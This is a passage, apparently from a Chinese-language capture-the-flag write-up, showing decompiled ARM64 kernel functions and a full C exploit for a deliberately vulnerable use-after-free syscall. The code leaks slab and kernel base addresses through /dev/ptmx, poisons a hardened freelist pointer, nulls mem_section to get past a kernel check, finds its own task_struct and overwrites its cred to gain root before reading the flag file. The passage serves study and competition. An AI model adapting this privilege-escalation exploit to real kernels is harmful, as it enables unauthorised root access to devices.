    if ( (v10 & 1) != 0 )
      v12 = v10 - 1;
    else
      v12 = v11;
    v13 = *(_QWORD *)(v12 + 8);
    if ( (v13 & 1) != 0 )
      v14 = (_QWORD *)(v13 - 1);
    else
      v14 = (_QWORD *)v12;
    if ( (*v14 & 0x200) != 0 )
      result = sub_FFFFFFC010406170(v7, a2, v12, a3 & 1);
  }
  v8 = sub_FFFFFFC010081000;
  if ( v7 >= (unsigned __int64)&unk_FFFFFFC010E40000 || v7 + a2 <= (unsigned __int64)sub_FFFFFFC010081000 )
    goto LABEL_5;
LABEL_23:
  v15 = sub_FFFFFFC010424488("kernel text", 0i64, a3 & 1, v7 - (_QWORD)v8, a2);
  return sub_FFFFFFC0104246FC(v15, v16);
}

追溯到函数 0xFFFFFFC010216910 中,该函数的结果将决定是否会触发函数 0xFFFFFFC010406170

__int64 __fastcall sub_FFFFFFC010216910(unsigned __int64 a1)
{
  unsigned __int64 v1; // x30
  char *v2; // x18
  __int64 v3; // x8
  _BYTE *v4; // x8
  __int64 result; // x0

  __writex18qword(8u, v1);
  v2 = (char *)KeGetPcr() + 8;
  __setReg(18, v2);
  if ( !(a1 >> 52)
    && !(a1 >> 36)
    && qword_FFFFFFC011A7A8A8
    && (v3 = *(_QWORD *)(qword_FFFFFFC011A7A8A8 + ((a1 >> 23) & 0x1FFFFFFFFF8i64))) != 0
    && (v4 = (_BYTE *)(v3 + 16i64 * (unsigned __int8)(a1 >> 18))) != 0i64
    && (*v4 & 2) != 0 )
  {
    result = sub_FFFFFFC0103F9640(a1 << 12) & 1;
  }
  else
  {
    result = 0i64;
  }
  __setReg(18, v2 - 8);
  __setReg(18, (char *)KeGetPcr() - 8);
  return result;
}

函数 0xFFFFFFC010216910 逻辑比较简单,只需要把 qword_FFFFFFC011A7A8A8 (在/proc/kallsyms中的变量名为mem_section) 置空就可以使得该函数一直返回 0 ,则内核不会执行到异常处理函数 0xFFFFFFC010406170 ,从而可以正常读写 task_struct。

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <syscall.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <errno.h>
#include <sys/mman.h>

#define __NR_uaf 602

#define DEBUG
#ifndef DEBUG
#define printf(...)
#define fprintf(...)
#define perror(...)
#define puts(...)
#define setbuf(...)
#endif

size_t read_word(size_t addr)
{
    size_t result = 0;
    syscall(__NR_uaf, &addr, 8, (7 << 8)|3);
    syscall(__NR_uaf, &result, 8, (8 << 8)|2);
    return result;
}

size_t write_word(size_t addr, size_t value)
{
    syscall(__NR_uaf, &addr, 8, (7 << 8)|3);
    syscall(__NR_uaf, &value, 8, (8 << 8)|3);
    return 0;
}

size_t get_current_task()
{
    size_t init_task = 0xffffffc011953e00, task = init_task;
    size_t result = 0;
    size_t name = 0;
    int i = 0;

    #define NAME_OFFSET 0x750
    #define TASK_OFFSET 0x488

    while(result == 0 && i++ < 128)
    {
        task = read_word(task + TASK_OFFSET + 8) - TASK_OFFSET;
        printf("task: %#llx\n", task);
        if(task == init_task)
        {
            break;
        }
        name = read_word(task + NAME_OFFSET);
        printf("name: %s\n", (char *)&name);
        if((name & 0xffffff) == 0x00707865) // "exp"
        {
            result = task;
        }
    }

    return result;
}

int exploit()
{
    char buf[0x100];
    size_t current_task = 0;
    size_t cred = 0;
    int fd;
    size_t slab1, slab2, kernel_base_addr, key;

    syscall(__NR_uaf, NULL, 0, (0 << 8)|0);
    syscall(__NR_uaf, NULL, 0, (1 << 8)|0);
    syscall(__NR_uaf, NULL, 0, (2 << 8)|0);
    syscall(__NR_uaf, NULL, 0, (3 << 8)|0);
    syscall(__NR_uaf, NULL, 0, (0 << 8)|1);
    syscall(__NR_uaf, NULL, 0, (1 << 8)|1);
    syscall(__NR_uaf, NULL, 0, (2 << 8)|1);
    syscall(__NR_uaf, NULL, 0, (3 << 8)|1);

    syscall(__NR_uaf, NULL, 0, (4 << 8)|0);
    if((fd = open("/dev/ptmx", O_RDONLY)) == -1)
    {
        perror("open");
        exit(EXIT_FAILURE);
    }
    syscall(__NR_uaf, NULL, 0, (5 << 8)|0);

    memset(buf, 0, sizeof(buf));
    syscall(__NR_uaf, buf, 8, (1 << 8)|2);
    slab1 = *(size_t*)(buf+0) - 0x60;
    printf("slab1: %#llx\n", slab1);

    memset(buf, 0, sizeof(buf));
    syscall(__NR_uaf, buf, 0x28, (2 << 8)|2);
    slab2 = *(size_t*)(buf+0) - 0x60;
    printf("slab2: %#llx\n", slab2);
    
    kernel_base_addr = *(size_t*)(buf+0x20) - 0xdac3b8;
    printf("kernel_base_addr: %#llx\n", kernel_base_addr);

    close(fd);

    memset(buf, 0, sizeof(buf));
    syscall(__NR_uaf, buf, 8, (1 << 8)|2);
    key = *(size_t*)(buf+0) ^ slab2;
    printf("key: %#llx\n", key);

    memset(buf, 0, sizeof(buf));
    *(size_t*)(buf+0) = key ^ 0xffffffc011a4dfb8;
    syscall(__NR_uaf, buf, 8, (1 << 8)|3);

    syscall(__NR_uaf, NULL, 0, (6 << 8)|0);
    syscall(__NR_uaf, NULL, 0, (7 << 8)|0);

    syscall(__NR_uaf, NULL, 0, (1 << 8)|1);
    memset(buf, 0, sizeof(buf));
    *(size_t*)(buf+0) = key ^ 0;
    syscall(__NR_uaf, buf, 8, (1 << 8)|3);

    write_word(0xFFFFFFC011A7A8A8, 0);

    current_task = get_current_task();
    printf("current_task: %#lx\n", current_task);
    cred = read_word(current_task + 0x738);
    printf("cred: %#lx\n", cred);
    
    *(size_t*)(buf+0) = cred + 4;
    syscall(__NR_uaf, buf, 8, (7 << 8)|3);
    memset(buf, 0, sizeof(buf));
    syscall(__NR_uaf, buf, 0x20, (8 << 8)|3);

    printf("uid: %d\n", getuid());

    return 0;
}

int readflag()
{
    int fd = 0;
    char buf[0x100];
    int result;

    fd = open("/system/flag", O_RDONLY);
    if(fd == -1)
    {
        perror("open");
        exit(EXIT_FAILURE);
    }
    memset(buf, 0, sizeof(buf));
    result = read(fd, buf, sizeof(buf)-1);
    printf("result: %d\n", result);
    write(STDOUT_FILENO, buf, result);

    close(fd);

    return 0;
}


int main()
{
    setbuf(stdout, NULL);

    puts("Start");

    exploit();

    readflag();

    puts("End");

    return 0;
}